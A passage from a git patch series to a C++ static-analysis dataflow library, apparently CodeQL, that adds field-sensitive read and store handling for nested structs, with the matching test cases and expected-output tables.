aliasing.cpp:201:8:201:10 | ps2 [s, m1] | aliasing.cpp:201:13:201:13 | s [m1] | | aliasing.cpp:201:13:201:13 | s [m1] | aliasing.cpp:201:15:201:16 | m1 | +| aliasing.cpp:211:3:211:4 | s2 [post update] [s, m1] | aliasing.cpp:212:9:212:10 | s2 [s, m1] | +| aliasing.cpp:211:3:211:24 | ... = ... | aliasing.cpp:211:6:211:6 | s [post update] [m1] | +| aliasing.cpp:211:6:211:6 | s [post update] [m1] | aliasing.cpp:211:3:211:4 | s2 [post update] [s, m1] | +| aliasing.cpp:211:13:211:22 | call to user_input | aliasing.cpp:211:3:211:24 | ... = ... | +| aliasing.cpp:212:9:212:10 | s2 [s, m1] | aliasing.cpp:212:12:212:12 | s [m1] | +| aliasing.cpp:212:12:212:12 | s [m1] | aliasing.cpp:213:8:213:8 | s [m1] | +| aliasing.cpp:213:8:213:8 | s [m1] | aliasing.cpp:213:10:213:11 | m1 | +| aliasing.cpp:225:15:225:22 | ref arg & ... | aliasing.cpp:225:21:225:22 | m1 [inner post update] | +| aliasing.cpp:225:16:225:17 | s2 [post update] [s, m1] | aliasing.cpp:226:9:226:10 | s2 [s, m1] | +| aliasing.cpp:225:19:225:19 | s [post update] [m1] | aliasing.cpp:225:16:225:17 | s2 [post update] [s, m1] | +| aliasing.cpp:225:21:225:22 | m1 [inner post update] | aliasing.cpp:225:19:225:19 | s [post update] [m1] | +| aliasing.cpp:226:9:226:10 | s2 [s, m1] | aliasing.cpp:226:12:226:12 | s [m1] | +| aliasing.cpp:226:12:226:12 | s [m1] | aliasing.cpp:227:8:227:8 | s [m1] | +| aliasing.cpp:227:8:227:8 | s [m1] | aliasing.cpp:227:10:227:11 | m1 | | arrays.cpp:6:12:6:21 | call to user_input | arrays.cpp:7:8:7:13 | access to array | | arrays.cpp:6:12:6:21 | call to user_input | arrays.cpp:8:8:8:13 | access to array | | arrays.cpp:6:12:6:21 | call to user_input | arrays.cpp:9:8:9:11 | * ... | @@ -428,6 +443,12 @@ edges | simple.cpp:92:5:92:22 | ... = ... | simple.cpp:92:5:92:5 | a [post update] [i] | | simple.cpp:92:11:92:20 | call to user_input | simple.cpp:92:5:92:22 | ... = ... | | simple.cpp:94:10:94:11 | a2 [i] | simple.cpp:94:13:94:13 | i | +| simple.cpp:104:5:104:5 | b [post update] [a, i] | simple.cpp:106:10:106:11 | b2 [a, i] | +| simple.cpp:104:5:104:24 | ... = ... | simple.cpp:104:7:104:7 | a [post update] [i] | +| simple.cpp:104:7:104:7 | a [post update] [i] | simple.cpp:104:5:104:5 | b [post update] [a, i] | +| simple.cpp:104:13:104:22 | call to user_input | simple.cpp:104:5:104:24 | ... = ... | +| simple.cpp:106:10:106:11 | b2 [a, i] | simple.cpp:106:13:106:13 | a [i] | +| simple.cpp:106:13:106:13 | a [i] | simple.cpp:106:15:106:15 | i | | struct_init.c:14:24:14:25 | ab [a] | struct_init.c:15:8:15:9 | ab [a] | | struct_init.c:15:8:15:9 | ab [a] | struct_init.c:15:12:15:12 | a | | struct_init.c:20:17:20:36 | {...} [a] | struct_init.c:22:8:22:9 | ab [a] | @@ -668,6 +689,22 @@ nodes | aliasing.cpp:201:8:201:10 | ps2 [s, m1] | semmle.label | ps2 [s, m1] | | aliasing.cpp:201:13:201:13 | s [m1] | semmle.label | s [m1] | | aliasing.cpp:201:15:201:16 | m1 | semmle.label | m1 | +| aliasing.cpp:211:3:211:4 | s2 [post update] [s, m1] | semmle.label | s2 [post update] [s, m1] | +| aliasing.cpp:211:3:211:24 | ... = ... | semmle.label | ... = ... | +| aliasing.cpp:211:6:211:6 | s [post update] [m1] | semmle.label | s [post update] [m1] | +| aliasing.cpp:211:13:211:22 | call to user_input | semmle.label | call to user_input | +| aliasing.cpp:212:9:212:10 | s2 [s, m1] | semmle.label | s2 [s, m1] | +| aliasing.cpp:212:12:212:12 | s [m1] | semmle.label | s [m1] | +| aliasing.cpp:213:8:213:8 | s [m1] | semmle.label | s [m1] | +| aliasing.cpp:213:10:213:11 | m1 | semmle.label | m1 | +| aliasing.cpp:225:15:225:22 | ref arg & ... | semmle.label | ref arg & ... | +| aliasing.cpp:225:16:225:17 | s2 [post update] [s, m1] | semmle.label | s2 [post update] [s, m1] | +| aliasing.cpp:225:19:225:19 | s [post update] [m1] | semmle.label | s [post update] [m1] | +| aliasing.cpp:225:21:225:22 | m1 [inner post update] | semmle.label | m1 [inner post update] | +| aliasing.cpp:226:9:226:10 | s2 [s, m1] | semmle.label | s2 [s, m1] | +| aliasing.cpp:226:12:226:12 | s [m1] | semmle.label | s [m1] | +| aliasing.cpp:227:8:227:8 | s [m1] | semmle.label | s [m1] | +| aliasing.cpp:227:10:227:11 | m1 | semmle.label | m1 | | arrays.cpp:6:12:6:21 | call to user_input | semmle.label | call to user_input | | arrays.cpp:7:8:7:13 | access to array | semmle.label | access to array | | arrays.cpp:8:8:8:13 | access to array | semmle.label | access to array | @@ -933,6 +970,13 @@ nodes | simple.cpp:92:11:92:20 | call to user_input | semmle.label | call to user_input | | simple.cpp:94:10:94:11 | a2 [i] | semmle.label | a2 [i] | | simple.cpp:94:13:94:13 | i | semmle.label | i | +| simple.cpp:104:5:104:5 | b [post update] [a, i] | semmle.label | b [post update] [a, i] | +| simple.cpp:104:5:104:24 | ... = ... | semmle.label | ... = ... | +| simple.cpp:104:7:104:7 | a [post update] [i] | semmle.label | a [post update] [i] | +| simple.cpp:104:13:104:22 | call to user_input | semmle.label | call to user_input | +| simple.cpp:106:10:106:11 | b2 [a, i] | semmle.label | b2 [a, i] | +| simple.cpp:106:13:106:13 | a [i] | semmle.label | a [i] | +| simple.cpp:106:15:106:15 | i | semmle.label | i | | struct_init.c:14:24:14:25 | ab [a] | semmle.label | ab [a] | | struct_init.c:15:8:15:9 | ab [a] | semmle.label | ab [a] | | struct_init.c:15:12:15:12 | a | semmle.label | a | @@ -998,6 +1042,8 @@ nodes | aliasing.cpp:176:13:176:14 | m1 | aliasing.cpp:106:9:106:18 | call to user_input | aliasing.cpp:176:13:176:14 | m1 | m1 flows from $@ | aliasing.cpp:106:9:106:18 | call to user_input | call to user_input | | aliasing.cpp:189:15:189:16 | m1 | aliasing.cpp:106:9:106:18 | call to user_input | aliasing.cpp:189:15:189:16 | m1 | m1 flows from $@ | aliasing.cpp:106:9:106:18 | call to user_input | call to user_input | | aliasing.cpp:201:15:201:16 | m1 | aliasing.cpp:106:9:106:18 | call to user_input | aliasing.cpp:201:15:201:16 | m1 | m1 flows from $@ | aliasing.cpp:106:9:106:18 | call to user_input | call to user_input | +| aliasing.cpp:213:10:213:11 | m1 | aliasing.cpp:211:13:211:22 | call to user_input | aliasing.cpp:213:10:213:11 | m1 | m1 flows from $@ | aliasing.cpp:211:13:211:22 | call to user_input | call to user_input | +| aliasing.cpp:227:10:227:11 | m1 | aliasing.cpp:106:9:106:18 | call to user_input | aliasing.cpp:227:10:227:11 | m1 | m1 flows from $@ | aliasing.cpp:106:9:106:18 | call to user_input | call to user_input | | arrays.cpp:7:8:7:13 | access to array | arrays.cpp:6:12:6:21 | call to user_input | arrays.cpp:7:8:7:13 | access to array | access to array flows from $@ | arrays.cpp:6:12:6:21 | call to user_input | call to user_input | | arrays.cpp:8:8:8:13 | access to array | arrays.cpp:6:12:6:21 | call to user_input | arrays.cpp:8:8:8:13 | access to array | access to array flows from $@ | arrays.cpp:6:12:6:21 | call to user_input | call to user_input | | arrays.cpp:9:8:9:11 | * ... | arrays.cpp:6:12:6:21 | call to user_input | arrays.cpp:9:8:9:11 | * ... | * ... flows from $@ | arrays.cpp:6:12:6:21 | call to user_input | call to user_input | @@ -1046,6 +1092,7 @@ nodes | simple.cpp:67:13:67:13 | i | simple.cpp:65:11:65:20 | call to user_input | simple.cpp:67:13:67:13 | i | i flows from $@ | simple.cpp:65:11:65:20 | call to user_input | call to user_input | | simple.cpp:84:14:84:20 | call to getf2f1 | simple.cpp:83:17:83:26 | call to user_input | simple.cpp:84:14:84:20 | call to getf2f1 | call to getf2f1 flows from $@ | simple.cpp:83:17:83:26 | call to user_input | call to user_input | | simple.cpp:94:13:94:13 | i | simple.cpp:92:11:92:20 | call to user_input | simple.cpp:94:13:94:13 | i | i flows from $@ | simple.cpp:92:11:92:20 | call to user_input | call to user_input | +| simple.cpp:106:15:106:15 | i | simple.cpp:104:13:104:22 | call to user_input | simple.cpp:106:15:106:15 | i | i flows from $@ | simple.cpp:104:13:104:22 | call to user_input | call to user_input | | struct_init.c:15:12:15:12 | a | struct_init.c:20:20:20:29 | call to user_input | struct_init.c:15:12:15:12 | a | a flows from $@ | struct_init.c:20:20:20:29 | call to user_input | call to user_input | | struct_init.c:15:12:15:12 | a | struct_init.c:27:7:27:16 | call to user_input | struct_init.c:15:12:15:12 | a | a flows from $@ | struct_init.c:27:7:27:16 | call to user_input | call to user_input | | struct_init.c:15:12:15:12 | a | struct_init.c:40:20:40:29 | call to user_input | struct_init.c:15:12:15:12 | a | a flows from $@ | struct_init.c:40:20:40:29 | call to user_input | call to user_input | diff --git a/cpp/ql/test/library-tests/dataflow/fields/simple.cpp b/cpp/ql/test/library-tests/dataflow/fields/simple.cpp index e4d4f70edb0..829974a1b67 100644 --- a/cpp/ql/test/library-tests/dataflow/fields/simple.cpp +++ b/cpp/ql/test/library-tests/dataflow/fields/simple.cpp @@ -94,4 +94,16 @@ void single_field_test_typedef(A_typedef a) sink(a2.i); //$ ast,ir } +struct B { + A a; +}; + +void single_field_test_depth_2() +{ + B b; + b.a.i = user_input(); + B b2 = b; + sink(b2.a.i); //$ ast MISSING: ir +} + } // namespace Simple From 91debe8669259c24344f4ad4b6c19071346e4d6d Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Sat, 5 Dec 2020 15:15:57 +0100 Subject: [PATCH 0352/1241] C++: Add ReadNodes and implement local flow steps into them. --- .../cpp/ir/dataflow/internal/DataFlowUtil.qll | 119 +++++++++++++++++- 1 file changed, 118 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 15fc2fa1d9a..f894c0d905e 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -15,7 +15,10 @@ cached private newtype TIRDataFlowNode = TInstructionNode(Instruction i) or TOperandNode(Operand op) or - TVariableNode(Variable var) + TVariableNode(Variable var) or + // `FieldNodes` are used as targets of certain `storeStep`s to implement handling of stores to + // nested structs. + TFieldNode(FieldAddressInstruction field) /** * A node in a data flow graph. @@ -170,6 +173,91 @@ class OperandNode extends Node, TOperandNode { override string toString() { result = this.getOperand().toString() } } +abstract private class SkippableInstruction extends Instruction { + abstract Instruction getSourceInstruction(); +} + +private Instruction skipSkippableInstructionsRec(SkippableInstruction skip) { + result = skip.getSourceInstruction() and not result instanceof SkippableInstruction + or + result = skipSkippableInstructionsRec(skip.getSourceInstruction()) +} + +private Instruction skipSkippableInstructions(Instruction instr) { + result = instr and not result instanceof SkippableInstruction + or + result = skipSkippableInstructionsRec(instr) +} + +private class SkippableCopyValueInstruction extends SkippableInstruction, CopyValueInstruction { + override Instruction getSourceInstruction() { result = this.getSourceValue() } +} + +private class SkippableConvertInstruction extends SkippableInstruction, ConvertInstruction { + override Instruction getSourceInstruction() { result = this.getUnary() } +} + +private class SkippableCheckedConvertInstruction extends SkippableInstruction, + CheckedConvertOrNullInstruction { + override Instruction getSourceInstruction() { result = this.getUnary() } +} + +private class SkippableInheritanceConversionInstruction extends SkippableInstruction, + InheritanceConversionInstruction { + override Instruction getSourceInstruction() { result = this.getUnary() } +} + +/** + * INTERNAL: do not use. Gets the `FieldNode` corresponding to `instr`, if + * `instr` is an instruction that propagates an address of a `FieldAddressInstruction`. + */ +FieldNode getFieldNodeForFieldInstruction(Instruction instr) { + result.getFieldInstruction() = skipSkippableInstructions(instr) +} + +/** + * INTERNAL: do not use. A `FieldNode` represents the state of an object after modifying one + * of its fields. + */ +class FieldNode extends Node, TFieldNode { + FieldAddressInstruction field; + + FieldNode() { this = TFieldNode(field) } + + /** Gets the `Field` of this `FieldNode`. */ + Field getField() { result = getFieldInstruction().getField() } + + /** Gets the `FieldAddressInstruction` of this `FieldNode`. */ + FieldAddressInstruction getFieldInstruction() { result = field } + + /** + * Gets the `FieldNode` corresponding to the parent field of this `FieldNode`, if any. + * + * For example, if `f` is the `FieldNode` for `c` in the expression `a.b.c`, then `f.getObjectNode()` + * gives the `FieldNode` of `b`, and `f.getObjectNode().getObjectNode()` has no result as `a` is + * not a field. + */ + FieldNode getObjectNode() { result = getFieldNodeForFieldInstruction(field.getObjectAddress()) } + + /** + * Gets the `FieldNode` that has this `FieldNode` as parent, if any. + * + * For example, if `f` is the `FieldNode` corresponding to `b` in `a.b.c`, then `f.getNextNode()` + * gives the `FieldNode` corresponding to `c`, and `f.getNextNode().getNextNode()`. + */ + FieldNode getNextNode() { result.getObjectNode() = this } + + /** Gets the class where the field of this node is declared. */ + Class getDeclaringType() { result = getField().getDeclaringType() } + + override Function getFunction() { result = field.getEnclosingFunction() } + + override IRType getType() { result = field.getResultIRType() } + + override Location getLocation() { result = field.getLocation() } + + override string toString() { result = this.getField().toString() } +} /** * An expression, viewed as a node in a data flow graph. */ @@ -585,6 +673,33 @@ Node uninitializedNode(LocalVariable v) { none() } */ predicate localFlowStep(Node nodeFrom, Node nodeTo) { simpleLocalFlowStep(nodeFrom, nodeTo) } +private predicate flowIntoReadNode(Node nodeFrom, Node nodeTo) { + // flow from the "innermost" field to the load of that field. + exists(FieldNode fieldNode | nodeTo = fieldNode | + not exists(fieldNode.getObjectNode()) and + ( + exists(LoadInstruction load | + fieldNode.getNextNode*() = getFieldNodeForFieldInstruction(load.getSourceAddress()) and + nodeFrom.asInstruction() = load.getSourceValueOperand().getAnyDef() + ) + or + // We need this to make stores look like loads for the dataflow library. So when there's a store + // of the form x->y = z we need to make the field node corresponding to y look like it's reading + // from the memory of x. + exists(StoreInstruction store, ChiInstruction chi | + chi.getPartial() = store and + fieldNode.getNextNode*() = getFieldNodeForFieldInstruction(store.getDestinationAddress()) and + nodeFrom.asInstruction() = chi.getTotal() + ) + or + exists(ReadSideEffectInstruction read | + fieldNode.getNextNode*() = getFieldNodeForFieldInstruction(read.getArgumentDef()) and + nodeFrom.asOperand() = read.getSideEffectOperand() + ) + ) + ) +} + /** * INTERNAL: do not use. * @@ -598,6 +713,8 @@ predicate simpleLocalFlowStep(Node nodeFrom, Node nodeTo) { or // Instruction -> Operand flow simpleOperandLocalFlowStep(nodeFrom.asInstruction(), nodeTo.asOperand()) + or + flowIntoReadNode(nodeFrom, nodeTo) } pragma[noinline] From 29301284214c481661aba4a946075c4cbd309ced Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Sat, 5 Dec 2020 15:21:26 +0100 Subject: [PATCH 0353/1241] C++: Implement read steps using ReadNodes. --- .../ir/dataflow/internal/DataFlowPrivate.qll | 94 +++++++++++++++---- 1 file changed, 77 insertions(+), 17 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index 762ce8d47b4..81769801c7d 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -209,6 +209,13 @@ private class FieldContent extends Content, TFieldContent { predicate hasOffset(Class cl, int start, int end) { cl = c and start = startBit and end = endBit } Field getAField() { result = getAField(c, startBit, endBit) } + + pragma[noinline] + Field getADirectField() { + c = result.getDeclaringType() and + this.getAField() = result and + this.hasOffset(c, _, _) + } } private class CollectionContent extends Content, TCollectionContent { @@ -390,12 +397,16 @@ private Instruction skipCopyValueInstructions(Operand op) { result = skipOneCopyValueInstructionRec(op.getDef()) } +private class InexactLoadOperand extends LoadOperand { + InexactLoadOperand() { this.isDefinitionInexact() } +} + private predicate arrayReadStep(Node node1, ArrayContent a, Node node2) { a = TArrayContent() and // Explicit dereferences such as `*p` or `p[i]` where `p` is a pointer or array. - exists(LoadOperand operand, Instruction address | - operand.isDefinitionInexact() and + exists(InexactLoadOperand operand, Instruction address | node1.asInstruction() = operand.getAnyDef() and + not node1.asInstruction().isResultConflated() and operand = node2.asOperand() and address = skipCopyValueInstructions(operand.getAddressOperand()) and ( @@ -406,6 +417,53 @@ private predicate arrayReadStep(Node node1, ArrayContent a, Node node2) { ) } +/** Step from the value loaded by a `LoadInstruction` to the "outermost" loaded field. */ +private predicate instrToFieldNodeReadStep(FieldNode node1, FieldContent f, Node node2) { + ( + node1.getNextNode() = node2 + or + not exists(node1.getNextNode()) and + ( + exists(LoadInstruction load | + node2.asInstruction() = load and + node1 = getFieldNodeForFieldInstruction(load.getSourceAddress()) + ) + or + exists(ReadSideEffectInstruction read | + node2.asOperand() = read.getSideEffectOperand() and + node1 = getFieldNodeForFieldInstruction(read.getArgumentDef()) + ) + ) + ) and + f.getADirectField() = node1.getField() +} + +bindingset[result, i] +private int unbindInt(int i) { i <= result and i >= result } + +pragma[noinline] +private predicate getFieldNodeFromLoadOperand(FieldNode fieldNode, LoadOperand loadOperand) { + fieldNode = getFieldNodeForFieldInstruction(loadOperand.getAddressOperand().getDef()) +} + +// Sometimes there's no explicit field dereference. In such cases we use the IR alias analysis to +// determine the offset being, and deduce the field from this information. +private predicate aliasedReadStep(Node node1, FieldContent f, Node node2) { + exists(LoadOperand operand, Class c, int startBit, int endBit | + // Ensure that we don't already catch this store step using a `FieldNode`. + not exists(FieldNode node | + getFieldNodeFromLoadOperand(node, operand) and + instrToFieldNodeReadStep(node, f, _) + ) and + node1.asInstruction() = operand.getAnyDef() and + node2.asOperand() = operand and + not node1.asInstruction().isResultConflated() and + c = operand.getAnyDef().getResultType() and + f.hasOffset(c, startBit, endBit) and + operand.getUsedInterval(unbindInt(startBit), unbindInt(endBit)) + ) +} + /** * In cases such as: * ```cpp @@ -417,21 +475,23 @@ private predicate arrayReadStep(Node node1, ArrayContent a, Node node2) { * f(&x); * use(x); * ``` - * the load on `x` in `use(x)` will exactly overlap with its definition (in this case the definition - * is a `WriteSideEffect`). This predicate pops the `ArrayContent` (pushed by the store in `f`) - * from the access path. + * the store to `*pa` in `f` will push `ArrayContent` onto the access path. The `innerRead` predicate + * pops the `ArrayContent` off the access path when a value-to-pointer or value-to-reference conversion + * happens on the argument that is ends up as the target of such a store. */ -private predicate exactReadStep(Node node1, ArrayContent a, Node node2) { +private predicate innerReadSteap(Node node1, Content a, Node node2) { a = TArrayContent() and - exists(WriteSideEffectInstruction write, ChiInstruction chi | - not chi.isResultConflated() and - chi.getPartial() = write and + exists(WriteSideEffectInstruction write, CallInstruction call, Expr arg | + write.getPrimaryInstruction() = call and node1.asInstruction() = write and - node2.asInstruction() = chi and - // To distinquish this case from the `arrayReadStep` case we require that the entire variable was - // overwritten by the `WriteSideEffectInstruction` (i.e., there is a load that reads the - // entire variable). - exists(LoadInstruction load | load.getSourceValue() = chi) + ( + not exists(ChiInstruction chi | chi.getPartial() = write) + or + exists(ChiInstruction chi | chi.getPartial() = write and not chi.isResultConflated()) + ) and + node2.asInstruction() = write and + arg = call.getArgument(write.getIndex()).getUnconvertedResultExpression() and + (arg instanceof AddressOfExpr or arg.getConversion() instanceof ReferenceToExpr) ) } @@ -441,10 +501,10 @@ private predicate exactReadStep(Node node1, ArrayContent a, Node node2) { * `node2`. */ predicate readStep(Node node1, Content f, Node node2) { - fieldReadStep(node1, f, node2) or + aliasedReadStep(node1, f, node2) or arrayReadStep(node1, f, node2) or - exactReadStep(node1, f, node2) or - suppressArrayRead(node1, f, node2) + instrToFieldNodeReadStep(node1, f, node2) or + innerReadSteap(node1, f, node2) } /** From 7a2b69feedde326afb2ab1d5181cfd5aae71d086 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Sat, 5 Dec 2020 15:24:32 +0100 Subject: [PATCH 0354/1241] C++: Add partial definition class backed by an IPA. --- .../cpp/ir/dataflow/internal/DataFlowUtil.qll | 248 ++++++++++-------- 1 file changed, 140 insertions(+), 108 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index f894c0d905e..39e232e68b3 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -18,7 +18,8 @@ private newtype TIRDataFlowNode = TVariableNode(Variable var) or // `FieldNodes` are used as targets of certain `storeStep`s to implement handling of stores to // nested structs. - TFieldNode(FieldAddressInstruction field) + TFieldNode(FieldAddressInstruction field) or + TPartialDefinitionNode(PartialDefinition pd) /** * A node in a data flow graph. @@ -258,6 +259,23 @@ class FieldNode extends Node, TFieldNode { override string toString() { result = this.getField().toString() } } + +/** + * INTERNAL: do not use. A `FieldNode` represents the state of an object after modifying one + * of its fields. + */ +class PostUpdateFieldNode extends PartialDefinition { + override FieldNode node; + + override FieldNode getPreUpdateNode() { result = node } + + override Expr getDefinedExpr() { + result = node.getFieldInstruction().getObjectAddress().getUnconvertedResultExpression() + } + + Field getField() { result = node.getField() } +} + /** * An expression, viewed as a node in a data flow graph. */ @@ -395,11 +413,37 @@ deprecated class UninitializedNode extends Node { * This class exists to match the interface used by Java. There are currently no non-abstract * classes that extend it. When we implement field flow, we can revisit this. */ -abstract class PostUpdateNode extends InstructionNode { +abstract class PostUpdateNode extends Node { /** * Gets the node before the state update. */ abstract Node getPreUpdateNode(); + + override Function getFunction() { result = getPreUpdateNode().getFunction() } + + override IRType getType() { result = getPreUpdateNode().getType() } + + override Location getLocation() { result = getPreUpdateNode().getLocation() } +} + +private newtype TPartialDefinition = + MkPartialDefinition(Node node) { + isPointerStoreNode(node, _, _) or + isArrayStoreNode(node, _, _) or + node instanceof FieldNode + } + +/** INTERNAL: do not use. A partial definition of a node. */ +abstract class PartialDefinition extends TPartialDefinition { + Node node; + + PartialDefinition() { this = MkPartialDefinition(node) } + + abstract Node getPreUpdateNode(); + + abstract Expr getDefinedExpr(); + + string toString() { result = node.toString() + " [partial definition]" } } /** @@ -415,132 +459,73 @@ abstract class PostUpdateNode extends InstructionNode { * setY(&x); // a partial definition of the object `x`. * ``` */ -abstract private class PartialDefinitionNode extends PostUpdateNode { - abstract Expr getDefinedExpr(); +class PartialDefinitionNode extends PostUpdateNode, TPartialDefinitionNode { + PartialDefinition pd; + + PartialDefinitionNode() { this = TPartialDefinitionNode(pd) } + + /** Gets the expression that is partially defined by this node, if any. */ + Expr getDefinedExpr() { result = pd.getDefinedExpr() } + + override Node getPreUpdateNode() { result = pd.getPreUpdateNode() } + + PartialDefinition getPartialDefinition() { result = pd } + + override string toString() { result = getPreUpdateNode().toString() + " [post update]" } } -private class ExplicitFieldStoreQualifierNode extends PartialDefinitionNode { - override ChiInstruction instr; - StoreInstruction store; - - ExplicitFieldStoreQualifierNode() { - not instr.isResultConflated() and - instr.getPartial() = store and - ( - instr.getUpdatedInterval(_, _) or - store.getDestinationAddress() instanceof FieldAddressInstruction - ) - } - - // By using an operand as the result of this predicate we avoid the dataflow inconsistency errors - // caused by having multiple nodes sharing the same pre update node. This inconsistency error can cause - // a tuple explosion in the big step dataflow relation since it can make many nodes be the entry node - // into a big step. - override Node getPreUpdateNode() { result.asOperand() = instr.getTotalOperand() } - - override Expr getDefinedExpr() { - result = - store - .getDestinationAddress() - .(FieldAddressInstruction) - .getObjectAddress() - .getUnconvertedResultExpression() - } -} - -/** - * Not every store instruction generates a chi instruction that we can attach a PostUpdateNode to. - * For instance, an update to a field of a struct containing only one field. For these cases we - * attach the PostUpdateNode to the store instruction. There's no obvious pre update node for this case - * (as the entire memory is updated), so `getPreUpdateNode` is implemented as `none()`. - */ -private class ExplicitSingleFieldStoreQualifierNode extends PartialDefinitionNode { - override StoreInstruction instr; - - ExplicitSingleFieldStoreQualifierNode() { - not exists(ChiInstruction chi | chi.getPartial() = instr) and - // Without this condition any store would create a `PostUpdateNode`. - instr.getDestinationAddress() instanceof FieldAddressInstruction - } - - override Node getPreUpdateNode() { none() } - - override Expr getDefinedExpr() { - result = - instr - .getDestinationAddress() - .(FieldAddressInstruction) - .getObjectAddress() - .getUnconvertedResultExpression() - } -} - -private FieldAddressInstruction getFieldInstruction(Instruction instr) { - result = instr or - result = instr.(CopyValueInstruction).getUnary() -} - -/** - * The target of a `fieldStoreStepAfterArraySuppression` store step, which is used to convert - * an `ArrayContent` to a `FieldContent` when the `WriteSideEffect` instruction stores - * into a field. See the QLDoc for `suppressArrayRead` for an example of where such a conversion - * is inserted. - */ -private class WriteSideEffectFieldStoreQualifierNode extends PartialDefinitionNode { - override ChiInstruction instr; - WriteSideEffectInstruction write; - FieldAddressInstruction field; - - WriteSideEffectFieldStoreQualifierNode() { - not instr.isResultConflated() and - instr.getPartial() = write and - field = getFieldInstruction(write.getDestinationAddress()) - } - - override Node getPreUpdateNode() { result.asOperand() = instr.getTotalOperand() } - - override Expr getDefinedExpr() { - result = field.getObjectAddress().getUnconvertedResultExpression() - } +private predicate isArrayStoreNode( + InstructionNode node, ChiInstruction chi, PointerAddInstruction add +) { + chi = node.getInstruction() and + not chi.isResultConflated() and + exists(StoreInstruction store | + chi.getPartial() = store and + add = store.getDestinationAddress() + ) } /** * The `PostUpdateNode` that is the target of a `arrayStoreStepChi` store step. The overriden * `ChiInstruction` corresponds to the instruction represented by `node2` in `arrayStoreStepChi`. */ -private class ArrayStoreNode extends PartialDefinitionNode { - override ChiInstruction instr; +private class ArrayStoreNode extends PartialDefinition { + override InstructionNode node; + ChiInstruction chi; PointerAddInstruction add; - ArrayStoreNode() { - not instr.isResultConflated() and - exists(StoreInstruction store | - instr.getPartial() = store and - add = store.getDestinationAddress() - ) - } + ArrayStoreNode() { isArrayStoreNode(node, chi, add) } - override Node getPreUpdateNode() { result.asOperand() = instr.getTotalOperand() } + override Node getPreUpdateNode() { result.asOperand() = chi.getTotalOperand() } override Expr getDefinedExpr() { result = add.getLeft().getUnconvertedResultExpression() } } +private predicate isPointerStoreNode(InstructionNode node, ChiInstruction chi, LoadInstruction load) { + chi = node.getInstruction() and + not chi.isResultConflated() and + exists(StoreInstruction store | + chi.getPartial() = store and + load = store.getDestinationAddress().(CopyValueInstruction).getUnary() + ) +} + /** * The `PostUpdateNode` that is the target of a `arrayStoreStepChi` store step. The overriden * `ChiInstruction` corresponds to the instruction represented by `node2` in `arrayStoreStepChi`. */ -private class PointerStoreNode extends PostUpdateNode { - override ChiInstruction instr; +private class PointerStoreNode extends PartialDefinition { + override InstructionNode node; + ChiInstruction chi; + LoadInstruction load; - PointerStoreNode() { - not instr.isResultConflated() and - exists(StoreInstruction store | - instr.getPartial() = store and - store.getDestinationAddress().(CopyValueInstruction).getUnary() instanceof LoadInstruction - ) + PointerStoreNode() { isPointerStoreNode(node, chi, load) } + + override Node getPreUpdateNode() { result.asOperand() = chi.getTotalOperand() } + + override Expr getDefinedExpr() { + result = load.getSourceAddress().getUnconvertedResultExpression() } - - override Node getPreUpdateNode() { result.asOperand() = instr.getTotalOperand() } } /** @@ -553,7 +538,7 @@ private class PointerStoreNode extends PostUpdateNode { * returned. This node will have its `getArgument()` equal to `&x` and its * `getVariableAccess()` equal to `x`. */ -class DefinitionByReferenceNode extends InstructionNode { +class DefinitionByReferenceNode extends InstructionNode, PostUpdateNode { override WriteSideEffectInstruction instr; /** Gets the unconverted argument corresponding to this node. */ @@ -581,6 +566,22 @@ class DefinitionByReferenceNode extends InstructionNode { not exists(instr.getPrimaryInstruction().(CallInstruction).getStaticCallTarget()) and result = "output argument" } + + override Function getFunction() { result = instr.getEnclosingFunction() } + + override IRType getType() { result = instr.getResultIRType() } + + override Location getLocation() { result = instr.getLocation() } + + // Make the read side effect's side effect operand the pre update node of this write side effect. + // This ensures that we match up the parameter index of the parameter indirection's modification. + override Node getPreUpdateNode() { + exists(ReadSideEffectInstruction read | + read.getPrimaryInstruction() = instr.getPrimaryInstruction() and + read.getArgumentDef() = instr.getDestinationAddress() and + result.asOperand() = read.getSideEffectOperand() + ) + } } /** @@ -673,6 +674,35 @@ Node uninitializedNode(LocalVariable v) { none() } */ predicate localFlowStep(Node nodeFrom, Node nodeTo) { simpleLocalFlowStep(nodeFrom, nodeTo) } +private predicate flowOutOfPostUpdate(PartialDefinitionNode nodeFrom, Node nodeTo) { + // flow from the "outermost" field to the `ChiInstruction`, or `StoreInstruction` + // if no `ChiInstruction` exists. + exists(AddressOperand addressOperand, PostUpdateFieldNode pd | + pd = nodeFrom.getPartialDefinition() and + not exists(pd.getPreUpdateNode().getObjectNode()) and + pd.getPreUpdateNode().getNextNode*() = getFieldNodeForFieldInstruction(addressOperand.getDef()) and + ( + exists(ChiInstruction chi | + nodeTo.asInstruction() = chi and + chi.getPartial().getAnOperand() = addressOperand + ) + or + exists(StoreInstruction store | + not exists(ChiInstruction chi | chi.getPartial() = store) and + nodeTo.asInstruction() = store and + store.getDestinationAddressOperand() = addressOperand + ) + ) + ) + or + // Note: This partial definition cannot be a `PostUpdateFieldNode` since these nodes do not have an + // operand node as their pre update node. + exists(PartialDefinition pd | + pd = nodeFrom.getPartialDefinition() and + 